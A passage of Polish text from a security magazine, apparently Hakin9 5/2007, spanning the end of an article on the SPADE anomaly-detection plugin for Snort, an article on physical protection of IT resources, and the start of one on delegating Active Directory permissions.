malności w taki sposób, aby przyjmo-
wał on wartości z zakresu od 0 do 1.

Wykres zależności współczynni-

ka anormalności w stosunku do praw-
dopodobieństwa zajścia określone-
go zdarzenia przedstawia Rysunek 2.
Jak widać, im większe jest prawdopo-

dobieństwo wystąpienia zdarzenia,
tym niższy stopień anormalności zo-
stanie mu przypisany.

Instalacja

i konfiguracja SPADE

Ważną cechą SPADE jest szybki al-
gorytm  klasyfikatora  dokonującego
detekcji anormalnych pakietów i przy-
pisywania  ich  do  określonej  katego-
rii. Dzięki temu analiza pakietów trwa
bardzo  krótko.  Dodatkowo  charak-
teryzuje  go  stosunkowo  szybki  czas
uczenia  się,  co  powoduje,  że  pierw-
sze wartościowe komunikaty genero-
wane są w krótkim czasie od jego uru-
chomienia.  Omawiane  elementy  są
bardzo istotne – klasyfikatory powinny
być budowane w taki sposób, aby mi-
nimalizować zapotrzebowanie na za-
soby pamięci oraz procesora.

Do działania SPADE niezbędny

jest Snort. Jest to system wykrywa-
nia intruzów, którego instalacja i kon-
figuracja opisywana była w numerze
3/2003 pisma Hakin9.

Instalacja SPADE sprowadza

się do pobrania go ze strony

http://cvs.snort.org/viewcvs.cgi/

*checkout*/snort/contrib/Attic/Spa-

de-092200.1.tar.gz?rev=1.1&se-

a r c h = N o n e & h i d e a t t i c = 1& o n -

ly _with_tag=SNORT_2_3&con-

tent-type=application/x-tar, rozpako-
wania, a następnie wydania polecenia
w katalogu z rozpakowaną wtyczką:

make SNORTBASE= sciezka_do_zrodel_
snorta

Po wykonaniu tego kroku należy
przeprowadzić kompilację progra-
mu Snort.

Aby uruchomić SPADE do pliku

konfiguracyjnego Snorta dodać na-
leży następującą linię:

preprocessor spade: <anom-report-
thresh> <state-file> <log-file>
<prob-mode> <checkpoint-freq>

Znaczenie poszczególnych argu-
mentów jest następujące:

•

<anom-report-thresh>

– oznacza

dolną  granicę  współczynnika
anormalności zdarzenia, na któ-
re SPADE będzie reagował alar-
mem. Ustawienie wartości ujem-
nej  spowoduje,  że  alarmy  wca-
le  nie  będą  generowane.  War-
tość  ujemna  jest  więc  zalecana
w początkowej fazie uczenia się,

•

<state-file>

– określa nazwę pli-

ku,  w  którym  przechowywa-
na  będzie  tablica  prawdopodo-
bieństw,  w  jakiej  zapisywane
są  częstości  występowania  pa-
kietów  o  określonej  charaktery-
styce.  Dzięki  temu  możliwe  jest
odtworzenie stanu analizatora po
restarcie systemu,

•

<log-file>

– definiuje nazwę pliku,

w którym zapisywane będą rapor-
ty. Jeśli argument ten będzie miał
postać -, raporty generowane bę-
dą na standardowe wyjście,

•

<prob-mode>

– określa zbiór cech

według których SPADE oceniał

Rysunek 2.

Zależność współczynnika anormalności zdarzenia w stosunku

do prawdopodobieństwa jego zajścia w SPADE

Współczynnik anormalności i zdarzenia

Prawdopodobieństwo wystąpienia zdarzenia

0.2

0.4

0.6

0.8

f(x)=-log

(x)

Adaptacyjne techniki wykrywania intruzów

hakin9 Nr 5/2007

www.hakin9.org

będzie pakiet. Możliwe są czte-
ry warianty: 0 – aproksymacja
wg. sieci Bayesowej parametrów:
źródłowy IP, źródłowy port, doce-
lowy IP, docelowy port,

• 1 – źródłowy IP, źródłowy port,

docelowy IP, docelowy port,

• 2 – źródłowy IP, docelowy IP, do-

celowy port,

• 3 – docelowy IP, docelowy port.

Domyślnie ustawiony jest tryb o nu-
merze  3.  Dobór  najlepszego  trybu
możliwy  jest  tylko  poprzez  wykona-
nie  testów  i  porównanie  skuteczno-
ści  każdego  z  nich.  Należy  pamię-
tać,  że  po  zmianie  trybu  konieczne
jest oczyszczenie pliku tablicy praw-
dopodobieństw (state-file).

•

<checkpoint-freq>

– określa czę-

stotliwość  aktualizacji  pliku  tabli-
cy  prawdopodobieństw.  Wielkość
ta  wyrażana  jest  ilością  pakietów
(przykładowo  –  ustawienie  war-
tości  10000  spowoduje,  że  tabli-
ca będzie aktualizowana co 10000
pakietów  analizowanych  przez
SPADE).

Przykładowe ustawienie może wyglą-
dać następująco:

preprocessor spade:

8.5 spade.rcv spade-log.txt 3 10000

Dobór progu

generowania alarmów

Problemem z jakim zetkniemy się w
testach SPADE będzie z pewnością
kwestia doboru progu współczynni-
ka  anomalii,  po  przekroczeniu  któ-
rego  generowany  ma  być  alarm.
Zbyt  niski  próg  wywoła  zalanie  lo-
gów fałszywymi alarmami, zbyt wy-
soki  spowoduje  natomiast,  że  wie-
le anomalii pozostanie nie zgłoszo-
nych. Samodzielny dobór tej granicy
byłby bardzo trudny, ponieważ każ-
da sieć charakteryzuje się nieco in-
nymi  parametrami  dotyczącymi  ko-

rzystania  z  poszczególnych  usług,
a co za tym idzie – typów i często-
ści  przesyłanych  pakietów.  SPADE
oferuje bardzo użyteczne wsparcie
w  zakresie  rozwiązania  tego  pro-
blemu  –  możliwość  automatyczne-
go doboru progu generowania alar-
mów.  Mechanika  tego  rozwiązania
działa również na zasadzie uczenia
się programu.

Aby włączyć funkcję nauki progu,

do pliku konfiguracyjnego Snorta do-
dać należy linię:

preprocessor spade-threshlearn:
<num-scores> <obs-time>

Wpis ten oznacza, że SPADE ma
określić wartość progu, która po-
trzebna jest do wygenerowania

<num-

scores>

punktów w czasie

<obs-time>

Domyślną wartością dla

<num-scores>

jest 200, a dla

<obs-time>

24 godzi-

ny. Wygenerowanie w ciągu 24 go-
dzin raportów o anormalnych pakie-
tach, których łączna punktacja wyno-
si 200, wydaje się być wartością roz-
sądną. Raport o optymalnej wartości
progu jest zapisywany do pliku logo-
wania.

Adaptacyjne kontra

klasyczne systemy

wykrywania intruzów

Metodologia  adaptacyjnego  rozpo-
znawania  nowych  klas  ataków  na
podstawie obserwacji systemu ope-
racyjnego  lub  sieci  nie  jest  nieste-
ty pozbawiona wad. Do najważniej-
szych  wad  należy  fakt  generowa-
nia większej ilości fałszywych alar-
mów niż ma to miejsce w przypad-
ku  klasycznego  systemu,  oparte-
go o porównywanie sygnatur. Poza
tym w systemach wykrywania ano-
malii problemy stwarza definicja  re-
guł  normalności  danego  protokołu.
Charakterystyczne  cechy  każdego
protokołu muszą być właściwie zde-

finiowane  i  przetestowane  pod  ką-
tem poprawności – i tu pojawia się
nowy  problem.  Implementacje  pro-
tokołów  sieciowych  różnych  produ-
centów nie są identyczne. Subtelne
różnice  mogą  wywoływać  kolejne
fałszywe  alarmy,  dlatego  tak  waż-
na jest kwestia uczenia się systemu
IDS. Z drugiej strony zaletą w takim
podejściu jest szybsze działanie sil-
nika dokonującego analizy zdarzeń.
Jeśli  akceptowalne  formy  danego
protokołu  zostaną  dobrze  zdefinio-
wane,  IDS  będzie  działał  znacznie
szybciej niż model oparty na sygna-
turach, ponieważ nie będzie musiał
przeszukiwać listy sygnatur dla każ-
dego potencjalnego wariantu ataku.
Klasyczny system wykrywania intru-
zów wymaga z kolei większego na-
kładu pracy związanego z jego pie-
lęgnacją, aby mógł działać dobrze.
Administrator musi zbierać informa-
cje o nowych formach ataków i uak-
tualniać  reguły  dotyczące  ich  wy-
krywania.  Poza  czasochłonnością
tych  działań  pojawia  się  dodatko-
wo  krytyczny  okres  –  od  momentu
powstania  nowego  zagrożenia,  do
czasu  gdy  baza  sygnatur  systemu
IDS zostanie uaktualniona. W okre-
sie tym, klasyczny system jest prak-
tycznie bezbronny.

Na podstawie powyższego po-

równania,  wyciągnąć  można  na-
stępujący  wniosek:  najlepszy  rezul-
tat  daje  połączenie  obu  metodolo-
gii. Adaptacyjne systemy wykrywania
anomalii  pracujące  samodzielnie  nie
będą skuteczne. Jeśli natomiast będą
działać jako uzupełnienie klasyczne-
go  paradygmatu  wykrywania  zagro-
żeń,  znacząco  wpłynie  to  na  zwięk-
szenie bezpieczeństwa.

Podsumowanie

Opisana metodologia działania ada-
ptacyjnego systemu wykrywania in-
truzów, mimo że wciąż jeszcze trak-
towana jest jako testowa, wydaje się
być  dobrym  kierunkiem  rozwoju  w
dziedzinie  zabezpieczeń  systemów
informatycznych.  Stanowi  istotne
uzupełnienie  metod  klasycznych,
które wykazują coraz więcej słabo-
ści w konfrontacji z ewoluującymi w
szybkim tempie formami ataków. l

O autorze

Aktualnie jest studentem drugiego roku SUM Informatyki na Akademii Górniczo-Hutni-
czej w Krakowie. Do jego głównych zainteresowań należy programowanie, administra-
cja systemów komputerowych oraz aspekty bezpieczeństwa informatycznego.
kontakt z autorem: deadcraft@ib.com.pl

Ochrona fizyczna zasobów IT

hakin9 Nr 5/2007

www.hakin9.org

tycznych.  Podstawową  zasadą,  ja-
ka musi być uwzględniona przy pro-
jektowaniu  systemu  kontroli  dostę-
pu jest jasny i spójny podział obiektu
na strefy zabezpieczające. Popraw-
nie wyznaczone strefy dostępu (wła-
ściwie  zlokalizowane),  odpowiednio
zabezpieczone  pomieszczenia  oraz
skuteczna kontrola dostępu (kontro-
la  wejść  i  wyjść  oraz  przebywania)
gwarantują  realizację  przyjętego  w
organizacji poziomu bezpieczeństwa
zasobów  IT.  Strefy  dostępu,  w  za-
leżności  od  sposobu  ochrony,  moż-
na podzielić na: strefy ogólnodostęp-
ne, strefy z ograniczonym dostępem,
strefy  szczególnie  chronione,  strefy
zastrzeżone. Następnie należy każ-
dej ze stref przyporządkować odpo-
wiednią klasę środków ochrony. Doj-
ście do najbardziej chronionych stref
i  pomieszczeń  powinno  przebiegać
przez więcej niż jeden punkt kontro-
li zależnie od ważności miejsca chro-
nionego.  Eliminuje  się  wtedy  możli-
wość przypadkowego ominięcia po-
jedynczego  punktu  kontroli.  Nale-
ży  również  do  minimum  ograniczyć
ilość  osób  mających  dostęp  do  klu-
czowych pomieszczeń.

Dla większej skuteczności syste-

mu  kontroli  dostępu  wskazane  jest
zainstalowanie  centralnego  syste-
mu  kontroli  dostępu,  a  nie  pojedyn-
czych  urządzeń  (czytników  sterują-
cych poszczególnymi bramkami, czy

też drzwiami) oraz specjalizowane
oprogramowanie do analizy zdarzeń
z narzędziami pozwalającymi wy-
chwycić nieautoryzowany dostęp do
kluczowych miejsc w organizacji.

Aby system ochrony fizycznej

spełniał swoje zadania, środki ochrony
(mechanizmy  zabezpieczające)  mu-
szą być kompleksowe, komplementar-
ne (wzajemnie się uzupełniać), racjo-
nalne (zaakceptowane przez użytkow-
ników)  i  efektywne  (koszt  zabezpie-
czeń  nie  może  przekraczać  wartości
chronionych  zasobów)  oraz  obejmo-
wać wszystkie rodzaje zabezpieczeń,
począwszy  od  zabezpieczeń  organi-

zacyjnych  (często  lekceważonych),
poprzez  zabezpieczenia  budowlane,
mechaniczne,  elektroniczne,  a  skoń-
czywszy na ochronie fizycznej (czyn-
nej). Ważne jest wreszcie zagwaran-
towanie optymalnych warunków pracy
dla sprzętu elektronicznego – stąd za-
lecana jest instalacja klimatyzacji oraz
zapewnienie awaryjnego zasilania.

Przystępując do budowy sys-

temu  ochrony  fizycznej  zasobów
IT  powinniśmy  odpowiedzieć  sobie
na następujące pytania: Co chroni-
my?  Przed  czym  chronimy?  W  jaki
sposób chronimy? Z jakim skutkiem
chronimy?

Rysunek 1.

Zarządzanie ryzykiem

Związki w zarządzaniu ryzykiem

Wykorzystują

chronią przed

zwiększają

zmniejszają

analiza

wskazuje

realizowane przez

zwiększają

narażają

posiadają

ZAGROŻENIA

PODATNOŚCI

ZASOBY

RYZYKA

ZABEZPIECZENIA

WYMAGANIA

W ZAKRESIE

OCHRONY

WARTOŚCI

(stąd potencjalnie

następstwa dla

działania instytucji)

Tabela 1.

Kategoria zagrożonej wartości, a wartości podlegające ochronie

Kategoria

zagrożonej

wartości

Wartości podlegające ochronie

mienie małej wartości, które można zastąpić

mienie średniej wartości, które można wymienić lub zastąpić
dokumenty lub przedmioty o wartości zabytkowej lub muzealnej, występujące w powtarzalnych eg-
zemplarzach lub które można odtworzyć
dokumenty stanowiące tajemnicę służbową

mienie dużej wartości
dokumenty lub przedmioty mające zabytkowa wartość, niepowtarzalne w kraju
dokumenty o dużej wartości, których uszkodzenie, zniszczenie lub kradzież jak również poznanie
może prowadzić do dużych szkód
życie ludzi związanych z wartościami wymienionymi w punktach a, b, c

mienie bardzo dużej wartości
przedmioty zabytkowe stanowiące dziedzictwo kultury światowej
dokumenty, których kradzież jak również poznanie lub przejrzenie przez osoby niepowołane może
zagrażać porządkowi społecznemu, osłabieniu obronności albo egzystencji państwa
życie wielu ludzi

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Analiza ryzyka powinna obej-

mować  analizę  wartości  zasobów
IT  (chronimy  tylko  zasoby  warto-
ściowe,  słabo  zabezpieczone,  za-
grożone), analizę zagrożeń (powin-
niśmy brać pod uwagę tylko zagro-
żenia  realne,  a  nie  hipotetyczne),
analizę podatności (słabości zaso-
bów)  oraz  analizę  aktualnego  sta-
nu zabezpieczenia zasobów IT (za-
bezpieczenia organizacyjne i tech-
niczne).  Następnie,  na  podstawie
wyników  analizy  ryzyka,  powinni-
śmy  dobrać  zabezpieczenia  tak,
aby  zminimalizować  ryzyko  zwią-
zane  z  wykorzystaniem  podatno-
ści przez zagrożenia. Ryzyko, któ-
re pozostaje po wprowadzeniu za-
bezpieczeń,  nazywamy  ryzykiem
szczątkowym.

Zaprojektowane zabezpiecze-

nia należy ująć w planie zabezpie-
czeń  (planie  ochrony  zasobów  IT)
oraz  opracować  harmonogram  ich
wdrożenia.  Polska  norma,  PN-93
E-08390/14  Systemy  alarmowe
Wymagania  ogólne  Zasady  sto-
sowania  wyróżnia,  ze  względu  na
stopień  zagrożenia  osób  i  wartość
szkód,  cztery  kategorie  zagrożo-
nych wartości, od Z1 do Z4, odpo-

wiadające różnym poziomom ryzy-
ka występującym w dozorowanych
obiektach.

Do oceny skuteczności zabez-

pieczenia  określonej  kategorii  za-
grożonej  wartości  norma  ustala
trzy poziomu bezpieczeństwa (niż-
szy,  normalny,  wyższy)  chronio-
nych  zasobów  i  przyporządkowuje
im  odpowiedniej  klasy  środki  elek-
troniczne  wspomagające  ochronę
fizyczną, w postaci stosownej klasy
systemów  alarmowych  (systemów
sygnalizacji włamania i napadu), od
SA1 do SA4.

Do szacowania wartości wymier-

nej mienia (chronionych zasobów)
można posłużyć się wielokrotnością
współczynnika N, definiowanego ja-
ko średni roczny dochód pracownika
w pięciu podstawowych działach go-
spodarki (publikowany przez ZUS).

Na potrzeby niniejszego artykułu

przyjęto cztery poziomy ryzyka (ni-
skie, średnie, wysokie, bardzo wyso-
kie) i odpowiadające mu cztery kate-
gorie zagrożonej wartości (od Z1 do
Z4) oraz cztery klasy środków ochro-
ny: zabezpieczenia pierwszego typu
(BM1, E1, OF1), klasa – popularna,
zabezpieczenia drugiego typu (BM2,

E2, OF2), klasa – standardowa, za-
bezpieczenia trzeciego typu (BM3,
E3, OF3), klasa – certyfikowana i za-
bezpieczenia czwartego typu (BM4,
E4, OF4), klasa – specjalna.

Po dokonaniu klasyfikacji zaso-

bów  IT  można  je  przyporządkować
do  określonej  kategorii  zagrożonej
wartości  i  w  prosty  sposób  dobrać,
adekwatne  do  poziomu  zagroże-
nia (poziomu ryzyka), stosowne za-
bezpieczenia,  pierwszego,  drugie-
go,  trzeciego  lub  czwartego  typu,
w  postaci  odpowiednich  zabezpie-
czeń  czynnych  –  osobowych  (od
OF1  do  OF4)  i  zabezpieczeń  bier-
nych: budowlano-mechanicznych (od
BM1  do  BM4)  oraz  elektronicznych
(od E1 do E4).

Środki ochrony fizycznej (czyn-

nej)  obejmują:  dozorców,  portierów,
recepcjonistów, wartowników, patrole
interwencyjne, pracowników ochrony
fizycznej pierwszego i drugiego stop-
nia, SUFO (specjalizowane uzbrojo-
ne formacje ochronne), odpowiednio
do  klasy  środków  ochrony  (1,  2,  3
lub  4).  Środki  ochrony  budowlano-
mechaniczne obejmują: ogrodzenia,
bramy,  ściany,  stropy,  drzwi,  okna,
szyby,  zamki,  kłódki,  kraty,  żaluzje,

Tabela 2.

Poziom bezpieczeństwa chronionych zasobów (obiektu), klasa systemu alarmowego, a kategoria

zagrożonej wartości

Kategoria

zagrożonej

wartości

Poziom bezpieczeństwa

niższy

normalny

wyższy

uzyskany przez system alarmowy klasy

nieokreślonej

SA1

SA2

SA1

SA2

SA3

SA2

SA3

SA4

SA3

SA4

SA4+(SA3+SA2)

Tabela 3.

Szacowanie wartości wymiernej mienia (chronionych zasobów)

Kategoria zagrożonej wartości

Szacowana wartość mienia

wartość ≤ 10 x N

10 x N < wartość ≤ 100 x N

100 x N < wartość ≤ 1000 x N

wartość > 1000 x N

Ochrona fizyczna zasobów IT

hakin9 Nr 5/2007

www.hakin9.org

rolety, kasety, sejfy, szafy metalowe
do  przechowywania  wartości,  szafy
ognioodporne  do  przechowywania
komputerowych  nośników  informa-
cji,  odpowiednio  do  klasy  środków
ochrony (1, 2, 3 lub 4). Środki ochro-
ny elektronicznej obejmują: systemy
sygnalizacji  włamania  i  napadu,
systemy  kontroli  dostępu,  systemy
telewizji dozorowej, systemy sygnali-
zacji pożarowej, dźwiękowe systemy
ostrzegawcze, odpowiednio do klasy
środków ochrony (1, 2, 3 lub 4).

Projektując system ochrony fi-

zycznej  nie  należy  zapominać  o
ochronie  przeciwpożarowej  zaso-
bów  IT.  Powinno  się  zabezpieczyć
obiekt, lub co najmniej kluczowe po-
mieszczenia,  czujkami  systemu  sy-
gnalizacji pożarowej oraz systemem
gaśniczym,  np.  serwerownie,  cen-
trale  telefoniczne,  pomieszczenia,
w których przechowuje się kopie za-
pasowe  danych,  pomieszczenia,  w
których  zlokalizowano  sprzęt  tele-
komunikacyjny  –  urządzenia  aktyw-
ne,  szafy  dystrybucyjne,  urządze-
nia  awaryjnego  zasilania  (centralny
UPS, agregat prądotwórczy). Ochro-
na  przeciwpożarowa  nie  wchodzi  w
skład ochrony fizycznej, regulują ją,
m.in.  przepisy:  Ustawy  z  dnia  24
sierpnia 1991 r. o ochronie przeciw-
pożarowej, Rozporządzenie MSWiA
z  dnia  21  kwietnia  2006  r.  w  spra-

wie  ochrony  przeciwpożarowej  bu-
dynków,  innych  obiektów  budowla-
nych  i  terenów  oraz  Rozporządze-
nie  MI  z  dnia  12  kwietnia  2002  r.
w  sprawie  warunków  technicznych,
jakim  powinny  odpowiadać  budynki
i ich usytuowanie.

Ważnym aspektem ochrony fi-

zycznej jest system przepustek (iden-
tyfikatorów)  lub  inny  system  upraw-
niający do wejścia, przebywania i wyj-
ścia  ze  stref  dostępu,  zasady  przy-
znawania  i  odbierania  uprawnień  do
przebywania w strefach dostępu oraz
okresowa kontrola uprawnień. W ten
sposób  możemy  mieć  pewność,  że
uprawnienia dostępu w systemie ma-
ją  tylko  upoważnione  osoby.  Bardzo
przydatne są tu systemy telewizji do-
zorowej wraz z chronioną rejestracją
obrazu.  Cyfrowe  rejestratory  obrazu
zapewniają długi czas nagrań i mogą
zostać  użyte  do  celów  dowodowych
w przypadku incydentu.

Należy również wdrożyć procedu-

ry organizacyjne obejmujące: eskorto-
wanie gości, zamykanie drzwi i okien
w pomieszczeniach, zarządzanie klu-
czami do pomieszczeń (szczelny sys-
tem  przechowywania  kluczy  do  po-
mieszczeń chronionych użytku bieżą-
cego i zapasowych), nadzór nad pra-
cą  personelu  pomocniczego,  zwłasz-
cza  sprzątaniem  pomieszczeń  i  pra-
cą  personelu  serwisowego,  przecho-
wywanie kopii zapasowych w zabez-
pieczonych pomieszczeniach (jak naj-
bardziej odległych w pionie i poziomie
od miejsc ich wytworzenia) w specjal-
nych szafach ognioodpornych, służą-
cych do przechowywania komputero-
wych  nośników  informacji,  zapewnie-
nie  aktualnej  dokumentacji  technicz-
nej  (zasilania,  okablowania,  sprzętu,
oprogramowania,  planów  awaryjnych
i planów ciągłości działania).

Najsłabszym ogniwem każdego

systemu  bezpieczeństwa  jest  czyn-
nik  ludzki.  Należy  o  nim  pamiętać
już  na  etapie  rekrutacji  i  zatrudnia-
nia  personelu  IT  (należy  zatrudniać
właściwych  ludzi,  sprawdzać  ich
referencje z poprzednich miejsc pra-
cy,  szkolić  personel  IT  z  procedur
bezpieczeństwa,  ciągle  podnosić
jego świadomość, rozdzielać kluczo-
we obowiązki pomiędzy dwóch pra-
cowników zgodnie z zasadą „dwóch
par oczu”).

Wszyscy pracownicy IT powinni

podpisać stosowne zobowiązania
o poufności, a z kluczowymi pracow-
nikami IT należy podpisać umowy
o zakazie konkurencji.

Reasumując, zaprojektowanie sku-

tecznego sytemu ochrony zasobów IT
wymaga zastosowania właściwej me-
todyki obejmującej następujące dzia-
łania:

• klasyfikacja zasobów IT (analiza

wartości zasobów),

•   analiza zagrożeń,
•   analiza podatności,
•   analiza aktualnego stanu bezpie-

czeństwa,

• ustalenie wymaganego poziomu

ochrony zasobów IT,

• określenie kategorii zagrożonej

wartości,

• ustalenie klas środków ochrony,
• opracowanie planu zabezpieczeń

(planu ochrony zasobów IT),

•   wdrożenie zabezpieczeń,
•   monitorowanie zabezpieczeń,
•   doskonalenie systemu zabezpie-

czeń.

Poddaję to pod rozwagę osobom od-
powiedzialnym za bezpieczeństwo
fizyczne zasobów IT w organiza-
cjach. l

O autorze

Andrzej Guzik – audytor systemów za-
rządzania jakością i bezpieczeństwem
informacji, specjalista w zakresie ochro-
ny  informacji  prawnie  chronionych,
redaktor  portalu  http://www.ochronain-
formacji.pl.
Kontakt  z  autorem  a.guzik@ochrona-
informacji.pl

Tabela 4.

Wymagana klasa środków ochrony, a kategoria zagrożonej wartości

Kategoria zagrożonej wartości

Wymagane klasy środków ochrony

BM1

OF1

BM2

OF2

BM3

OF3

BM4

OF4

Active Directory – delegowanie uprawnień

hakin9 Nr 5/2007

www.hakin9.org

które utylizują infrastrukturę Active

Directory.  Niestety,  często  spoty-
kany  cel  w  procedurach  instalacji
aplikacji  to  stworzenie  konta  sys-
temowego jako członka grupy Do-

main  Admins.  Problem,  jaki  się  z
tym wiąże to fakt, że te konta ma-
ją podstawowe uprawnienia. Rów-
noważąc  uprawnienia  tych  kont
z  uprawnieniami  Domain  Admini-
strator  stwarzamy  znaczące  za-
grożenie dla środowiska IT. Konta
systemowe  z  łatwością  mogą  być
nadużywane poprzez niebezpiecz-
nych lub beztroskich administrato-
rów lub wykorzystane jako środek
do  osiągnięcia  celu  przez  ataku-
jących,  którzy  odkrywają  podsta-
wowe  sprawy  związane  z  bezpie-
czeństwem w aplikacji.

Podczas gdy te próby mogą się

okazać nieprzezwyciężone, określa-
ją  one  scenariusz  standardowy  dla
implementowania  modelu  delego-
wania w Active Directory (AD). Stwo-
rzenie  modelu  delegowania  upraw-
nień  jest  interaktywnym  projektem.
Zalecane jest wykonanie poniższych
predefiniowanych kroków:

• określić role administracyjne (IT)

w twej organizacji,

• określić Organizational Unit (OU)

i model Security Group,

• ustanowić drugorzędne konta dla

IT administratorów,

• delegować uprawnienia.

Jest to trudny proces. Przyjrzyjmy
się szczegółowo tym krokom.

Określenie ról

Proces definiowania rozpoczyna się
poprzez  jednoczesne  zrozumienie
administrowania danymi i usługami.
Te koncepcje są podstawą każdego
prawidłowego  modelu  delegowania
uprawnień Active Directory. Admini-
stracja usługami to zarządzanie kry-
tycznymi katalogami usług, struktur
komponentów,  takich  jak  serwery

Exchange i kontrolery domeny. Za-
rządzanie  danymi  to  zarządzanie
obiektami,  takimi  jak  konta  poczto-
we  i  konta  użytkowników,  które  re-
zydują  z  tymi  usługami.  Dzięki  za-
kresowi  Active  Directory,  admini-

stratorzy  usług  są  ciągle  odpowie-
dzialni  za  dostawy  i  osiągalność
usług  katalogowych,  podczas  gdy
administratorzy zarządzają kontami
użytkowników i serwerów oraz inny-
mi zasobami domenowymi.

Active Directory wspiera delego-

wanie uprawnień poprzez Organiza-

tional Unit (OU). OU może być czę-
sto  dostosowywany  tak,  by  zapew-
nić ten sam poziom autoryzacji, jaki
jest  dostępny  dla  administratorów  z
już istniejących katalogów usług lub
modeli domenowych. Ważne jednak
jest to, by rozumieć jak niektóre funk-
cje po prostu nie mogą być delego-
wane  i  muszą  być  zarządzane  po-
przez pojedynczą zaufaną grupę lub
jednostkę.

Analiza zadań jest równie kry-

tyczna. Musisz wiedzieć, które za-
dania Active Directory są przepro-
wadzane przez administratorów i jak
te zadania mogą być korelowane do
konkretnych ról.

Dla przykładu tworzenie nowe-

go  site  Active  Directory  jest  zada-
niem  administracyjnym  serwiso-
wo-usługowym,  podczas  gdy  mo-
dyfikacje  członkostwa  w  grupie
bezpieczeństwa to zadanie dla ad-
ministratora  danych.  Każde  zada-
nie  powinno  być  porównane  pod
kątem  częstotliwości,  ważności  i
trudności.  Są  to  główne  aspekty
określania  zadań,  kiedy  uprawnie-
nia muszą być delegowane. Zada-
nia są wykonywane rutynowo, wią-
że się z nimi określone ryzyko oraz
są  stosunkowo  proste  do  wykona-
nia,  a  także  wymarzone  do  zdele-
gowania. Z drugiej strony, zadania,
które są wykonywane rzadziej, ma-
ją  większy  wpływ  w  organizacji  i
wymagają  wyższych  umiejętności.
Są  w  związku  z  tym  trudniejszymi
kandydatami do oddelegowania.

Zamiast tego tymczasowe zwięk-

szanie uprawnień dla konta do wy-
maganego poziomu lub zmiana za-
dania jest właściwą ścieżką dla tych
zadań. Mimo że wiele dużych orga-
nizacji    funkcjonuje  na  podobnych
podstawach,  zawsze  bezpieczniej
jest założyć, że model delegowania
uprawnień  może  być  zaimplemen-
towany.  Dla  celów  dydaktycznych

przedstawiony  jest  testowy  zbiór
ról,  które  udostępniają  możliwości
zarządzania.  Granice  oorganiza-
cyjne i sprawy związane ze zmianą
uprawnień (tj. dostępność zewnętrz-
na kontrolerów domeny) są zdefinio-
wane.  Proszę  mieć  na  uwadze,  że
ten model to tylko przykład – jest on
jednak świetnym startem dla dysku-
sji w twej organizacji, ale nie powi-
nieneś  planować,  by  użyć  go  jako
argument w dyskusji.

Niektóre role są od razu okre-

ślone  przez  Active  Directory,  a  nie-
które muszą być stworzone z nicze-
go, by wyjść poza model delegowa-
nia.  Przykład  gotowy  do  zastoso-
wania  dla  wielu  dużych    środowisk
organizacji  Active  Directory  może
zawierać Enterprise Admins, Domain

Admins, i administratorów usług,

Regional Admins i administratorów
zarządzających danych.

Administratorzy usług

Przyjrzyjmy  się  rolom  administrato-
rów usług. Administratorzy usług za-
rządzają  krytycznymi  komponenta-
mi  infrastruktury,  a  wszyscy  admi-
nistratorzy którzy należą do tej gru-
py są wysoce uprzywilejowani. Dla-
tego  też  powinniśmy  zaimplemen-
tować  strategię  o  koniecznej  ilości
uprawnień, taką która oznacza przy-
znawanie  minimum  uprawnień  nie-
zbędnych do przeprowadzania okre-
ślonych zadań. Taka taktyka jest ści-
śle zalecana.

Grupy Enterprise i Domain

Admins w Active Directory definiu-
ją  dwie  grupy  specjalnych  admini-
stratorów,  których  uprawnienia  są
wymagane  w  celu  prawidłowego
funkcjonowania  krytycznych  funk-
cji  AD.  Te  grupy  są  odpowiedzial-
ne  za  najwyższy  poziom  admini-
strowania  usługami.  By  zminimali-
zować  ryzyko  dziedziczenia  w  ta-
kich  wysoko  uprzywilejowanych
grupach,  zalecane  jest  ogranicza-
nie  dostępu  do  tych  grup.  Grupa

Enterprise Admins nie powinna
mieć stałych członków, a grupa Do-
main Admins powinna zawierać je-
dynie małą, zarządzalną grupę za-
ufanych osób, które pracują dla or-
ganizacji na pełen etat.

hakin9 Nr 5/2007

www.hakin9.org

Obrona

Gdy muszą być wykonane za-

dania administratorskie, takie jak
autoryzacja DHCP w Active Di-

rectory, członkowie grupy Domain

Admins w domenie nadrzędnej la-
su AD mogą otrzymać wymagane
uprawnienia poprzez ustanowienie
przynależności do grupy Enterpri-

se  Admins.  Takie  uprawnienia  po-
winny  być  przyznawane  tylko  na
krótkie okresy czasu, w celu unik-
nięcia  tworzenia  stałych  członków
w grupie Enterprise Admins. Oczy-
wiście,  wszyscy  członkowie  gru-
py  Domain  Admins  w  danym  lesie

Active Directory powinni być oso-
bami, którym można zaufać w rów-
nym stopniu.

Typowym błędem, który po-

pełnia  większość  organizacji  pod-
czas  rozwoju  modelu  delegowa-
nia  uprawnień  jest  blokowanie  lub
zmniejszanie  roli  wbudowanych
grup czy innych komponentów. Po-
wszechne  jest  myślenie,  że  mody-
fikacja  tych  domyślnych  ról  może
mieć nieprzewidywalny skutek, nie
ma  gwarancji,  że  sevice  pack  czy
aktualizacje oprogramowania przy-
wracają  te  ustawienia.  Dodatko-
wo, ten typ modyfikacji tworzy nie-
wspierane  środowisko  poza  orga-
nizacją.  Praktyczny  cel  polega  na
tym,  by  użyć  wbudowane  grupy  i
role,  ale  ograniczyć  członkostwo.
By to zrobić, prawdopodobnie mu-
siałbyś stworzyć nowe role dla ad-
ministratorów,  którzy  wcześniej
przynależeli do grup takich jak Do-

main Admins.

Administratorzy grupy powin-

ni  składać  się  z  administratorów
usług  scentralizowanych,  którzy
zapewniają  wsparcie  dla  wszyst-
kich  usług  organizacji.  Mimo,  że
jest  to  stworzona  rola,  usługi  ka-
talogowe i dostępy systemowe mo-
gą  być  dopasowane  do  specyficz-
nych  wymagań  twojej  organizacji.
Podczas  gdy  członkowie  tej  grupy
są  administratorami  usług,  mogą
również  dokonywać  okazjonalnie
innych,  bardziej  rozległych,  zadań
zarządczych. Mamy więc różne ty-
py systemów i różne obszary odpo-
wiedzialności, role te są rozdzielo-
ne w różne podgrupy w ramach ka-
talogu.  Na  przykład,  pojedyncze
grupy  powinny  być  stworzone  tak,
aby zapewnić dyskretne zarządza-
nie specyficznymi systemami, taki-
mi jak serwery Exchange. Ta grupa
także służy jako punkt eskalacji dla
administratorów danych.

Inne powszechne stanowisko

określa przynależność do grupy

Domain  Admins  z  powodu    przy-
znania  uprawnień  administrator-
skich  na  każdym  systemie  w  da-
nej  domenie.  Cała  sztuka  polega
tu  na  zezwoleniu  administratorom
usług  na  tylko  wymagane  upraw-
nienia,  by  kontrolować  serwery
korporacyjne  bez  dodawania  ich
